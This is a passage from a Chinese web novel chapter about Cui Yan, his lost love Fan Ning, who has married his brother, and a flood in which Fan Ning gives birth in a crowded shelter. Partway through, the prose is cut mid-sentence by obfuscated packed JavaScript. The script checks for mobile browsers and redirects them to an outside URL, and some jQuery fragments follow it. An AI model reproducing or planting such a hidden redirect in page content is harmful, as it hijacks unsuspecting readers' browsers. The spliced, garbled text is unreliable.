那是一个年岁并不大的少年，他浑身泥泞，宛若泥猴，雨水不住地自他的头上，肩头流下，拉出一条条长长的褐色水流。
门猛地打开，他抬起打算敲门的手落下，回过神，哆哆嗦嗦地从怀里取出一沓用油布裹了的信。
“我爹死了。”他说，然后望向已经挤开陈师兄站在他面前的崔延，将信拍在他的手里，“这是近两个月你全部信，我已经送到了。”
崔延突然想起自己前日去山下给师兄送饭时听到的传闻。
“唉，你听说没，山下带收信的老头房子被压塌了。”船工嚼着不知从何处寻来的干草道。
另一个船工收了桨，不是很惊讶道:“老头不是去跟着参与救灾了？他儿子在城里，那就是所空房子，泡发了都没事。”
“说起他儿子。”那个船工道，“那才真的造孽呢。”
“可不是，含辛茹苦地送儿子去读书，结果儿子成才反而看不上他这个老东西。”
“成屁的才，你当他是白给石会山送信的，不过是想借个由头，想将儿子送上石会山罢了。”
而此刻，老人的儿子扭头张望着四周，大雨倾盆，他却未着任何避雨的东西，咽下一口泪，踉踉跄跄地离开了这座被老人眷属的伤心地。
崔延沉默着，手里无意识地握着那沓厚厚的信，同师兄面面相觑。
离郡人有这让人费解的乡土情，他们从不离家，那怕离开也并不会在外久居。
他们无比的眷恋着这片土地，爱的深沉又热烈，所以那怕旱、水两灾轮番上演也不曾离开。
他是冷漠的，崔延想，但人总是过于从众，所以当身边的人不停地前赴后继地为这片土地赴死时，他也时不时地会产生些许动摇。
他剥开油布，任由斜倾而来的大雨将纸张浇个干净。
“师兄，我同你一起去。”他说，“我不回家了。”
·
“所以他就是因为救灾耽误了时间，才没能和自己的心上人双宿双飞吗？”公孙奇文捋着胡子问。
“并不是。”崔绩摇摇头，“他看见的太迟了，范凝早已厌倦了等待，所以无论他做何选择都无济于事。”
·
他在巷子尽头的的房舍前碰见了已是妇人装束的范凝。
她早已没了往常的欢腾与跳脱，一双依旧明媚的抬眼望向他，却只余下了一片寂静。
小腹已经微微隆起，她轻抚着自己的腰身，就那么怔怔地望着他。
一时失语。
“阿凝！”有人叫喊着她的名字从朱红的门里迈出，一手搀住了她。
“我不是嘱咐人去接你了吗？”那人问，他穿着一身月光白的锦袍，府内灯光倾斜，带着些阑珊的光斑。
“有人。”范凝轻轻推着揽住她的男人，男人一顿，循着她的目光望向暗处。
崔延从阴影处走出，他已全然不是从前那副富贵公子样了，一身简便的麻布衣裳，滕鞋，皮肤晒得黝黑，呈现出一种健康的小麦色。
他局促地笑着，尴尬地搓了搓手。
他说:“三弟。”
被称作三弟的人名唤崔宜，从小最为粘他，见他求学回来理应是高兴的。
他也确实是这样做的，高高兴兴地唤了句二哥，正要迎出来，只是松开的手刚放下，便又如梦初醒般地揽住范凝。
于是气氛便变的很尴尬。
崔宜局促地笑笑，几步走到范凝身前，将她挡的严严实实。
“二哥怎么回来了？”他依旧如往常般问道，并竭力忽略掉方才的不自然，但其中的差别在场的几个人都心知肚明。
崔延略有些不安，依旧平静地回答道:“我迟了些日子，没能赶上三弟的大喜之日。”
他三弟的表情顿时变得真挚的多。
“怎么会。”他欢喜道，“兄长的心意我都知道。”
遂略过范凝将他迎了进去。
夏日的蝉鸣鼎沸，共同连接成一条归乡的路。
他踏进儿时的庭院，明明时日不长，却好似恍若隔世。
如果故事停在这也勉强算是个好结局。
虽然有情人没能终成眷属，但一个家庭美满，一个志在远方，算不得怨侣，倒可以称得上一句好聚好散。
但上天是不会放过任何一个同自己叫嚣着苦命的人。
九月底时，范凝的肚子已经开始像吹气球一样一天一天地大了起来，接近临产，范家嫂子也挺个大肚子来找自己的妯娌。
“我怀疑你哥在外面养小的了。”她顶着张红肿的脸同和自己关系还不错的范家小妹哭诉道，“他竟然敢动手打我，我可还怀着你们范家的种，他就这么对我。”
范家嫂子出身于卞裕白氏，是一个远近闻名的大家族。
可能与她家学颇紧，父母举案齐眉，从未纳妾有关。
她从来不觉得男人三妻四妾是什么对女人的褒奖，她打小就信奉是如同鸿雁般一生一世一双人的婚后生活。
所以她不仅不能容忍丈夫的暴力与掌掴，并且打算连同背叛一齐清算。
“我要回娘家了。”她随即作出决定，同范凝道，“你只当做不知道便好，别让任何人知道，负责我连同你一起恨。”
她与嫂子素来要好，她当然不想被嫂子记恨，但她们范家一脉单传，她嫂子肚里怀的很有可能就是他们范家的长子长孙。
范凝犹豫着，带着些许忐忑，可她还是放走了嫂子，没有告诉任何人，毕竟凭心而论，她也不想要一个移情别恋并对自己拳脚相向的丈夫。
她浑浑噩噩地睡去，再次醒来时，窗外阴沉沉的，不大一会便狂风大作起来，院子里的花树被径直压弯了腰，顷刻间豆大的雨滴如同石子般噼里啪啦地砸在了窗子和墙壁上，泛起朵朵水渍。
范凝翻过身，小心翼翼地坐起来，思索着张望一下，问过贴身的侍女，不过才过了两个时辰。
两个时辰，范家嫂子估计到沂河了，那是卞裕到岭山的必经之路。
只是……
她忽然想到，此时未值汛期，因此巡防河道的官员懈怠些也是难免的，只是这场大雨还是来得太突然。
按了按自己扑通直跳的胸口，范凝不放心地唤来小厮，叫他立马赶车去沂河边看看，自己则是心神不安地坐在桌前不停地摸着自己的肚子。
时间如流水般匆匆而过。
但门扉处却只有死寂一般的安静。
没有任何人的消息传回来。
几声惊雷响起，亮紫色的雷光径直将夜幕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262562|182126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
划开一道明亮的裂缝，仿佛将天空撕裂了般。
雨势更大了。
天气渐凉，范凝的陪嫁丫鬟提着厚袄过来，正要给她披上，却被她伸手挡开。
年岁不大的丫鬟抬起头，望见了她那张板的青紫的脸。
“姑娘……”小丫鬟还要说些什么，被她一一悉数打断。
范凝再也坐不住了，她是已经为范家牺牲过一次的，但嫂子不应该啊。
她从未倚仗过范家什么，反而要为范家生儿育女，为因为哥哥大手大脚而掏空的钱匣，补贴光自己的嫁妆。
她不当出什么意外的。
·
崔延今日去好友家赴宴，备了一卷孤品古书，走到半路时被大雨淋了个正着。
他抖抖衣袍，撩开车帘子。
车夫拉紧缰绳大声同他道:“前路泥泞，怕是走不了，公子。”
他心里默默算下距离，深知淋雨走并不是一个好主意，甚至可能连车辕一起陷在泥里，进退两难。
“回府吧。”他打定注意对车夫道。
车夫拉住缰绳，马儿缓缓掉头，拉着车厢错开来时的车辙，走上了回府的道路。
到府时，正值雨下的最大的时候，范凝的丫鬟在门廊里踱步，见有马车回来急忙凑了过来。
他拉开帘子，丫鬟踮起脚尖不死心地眺望着车里，发觉空无一人后，才失落地收回目光。
“怎么了？”崔延问，他识得这是范凝的丫鬟。
但她已嫁人，夫君是他的手足兄弟，他又怎会旧情复燃，这等张望的举措实属不妥。
若是闹得兄弟阋墙，日后传了出去，不过平白添人笑柄。
丫鬟沉默不语，半晌后才瓮声瓮气道:“我家姑娘出门小半个时辰了，我这不是担心……”
崔延的右眼皮疯狂地打起了拍子。
“阿……你家姑娘去何处了？”
丫鬟抿了抿唇，回想起她家姑娘走时的叮嘱，选择性地，委婉透漏了一半:“我只知道姑娘是往沂河方向走的，其余的就不清楚了。”
他望了畏畏缩缩的丫鬟一眼，嘱咐车夫卸车，然后匆匆回屋穿好蓑衣，一手接过车夫手中的缰绳，飞身上马，寻着沂河的方向寻了过去。
·
范凝没能找到自己的嫂子，水患骤起，她只得抛下车辇，与车夫四散而逃。
情急之下，她躲入一栋立在半山腰的房子里，里面挤了好多人，互相推搡着。
不知是谁从背后推了她一把，她一时不稳，重重地摔在地上。
一股暖流从两腿间流出，紧接着便是足矣透彻心扉的剧痛，她恍然意识到，自己应该是要生了。
人群自发地散开，围绕她形成了一个真空的环形，几个看着就很有经验的老妇人挤了过来。
“用力。”其中最年长的那个同她说，“要不间断的均匀的用力。”
她痛的浑浑噩噩的，只是一遍遍不挺的重复着。
嫁人真是太苦了，她想。
“生了，生了。”老妇人叫喊着，伴着婴儿的第一声啼哭，“是个男娃，恭喜啊。”
但她却再没有力气看她的骨肉一眼了。
身下的血不停流着，仿佛汇成了小溪，怎么也止不住。